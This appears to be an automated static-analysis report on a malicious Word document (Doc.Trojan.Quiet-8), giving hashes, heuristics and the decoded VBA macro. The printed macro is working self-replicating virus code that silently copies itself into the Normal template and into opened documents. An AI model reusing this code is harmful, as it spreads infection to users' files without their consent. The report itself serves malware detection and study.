Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4ab3fa0ee759951d…

MALICIOUS

Office (OLE)

26.5 KB Created: 2001-05-19 08:39:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9339bdc15d2696237c943c4ece4e9a38 SHA-1: 2b689aec4717e008fbbbb2c78906daa7a8c9edf5 SHA-256: 4ab3fa0ee759951df0f180e3535e3ec6c3e316193da42dc5c70782e75394b8e7
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Word document containing a VBA macro. The macro is designed to copy itself to the Normal template, likely to achieve persistence. The 'Document_open' subroutine is present, indicating it executes upon opening the document. No external network activity or specific exploit was identified.

Heuristics 3

  • ClamAV: Doc.Trojan.Quiet-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Quiet-8
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1014 bytes
SHA-256: 9080040dd3afbfa0135e4c9818a3191ae6181de9e86ad8718c2b474bec36ea47
Detection
ClamAV: Doc.Trojan.Quiet-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private source As Object
Private dest As Object

Private Sub Document_Close()

End Sub

Private Sub Document_open()
 Application.Options.VirusProtection = True
 Set source = ActiveDocument.VBProject.VBComponents.Item(1)
 Set dest = NormalTemplate.VBProject.VBComponents.Item(1)
 If dest.codemodule.countoflines = 0 Then
  For i = 1 To source.codemodule.countoflines
     dest.codemodule.insertlines i, source.codemodule.lines(i, 1)
  Next i
  Application.Options.SaveNormalPrompt = False
End If

If source.codemodule.countoflines = 0 Then
 For i = 1 To dest.codemodule.countoflines
  source.codemodule.insertlines i, dest.codemodule.lines(i, 1)
 Next i
    
    
    
    ActiveDocument.SaveAs (ActiveDocument.FullName)
 End If
End Sub

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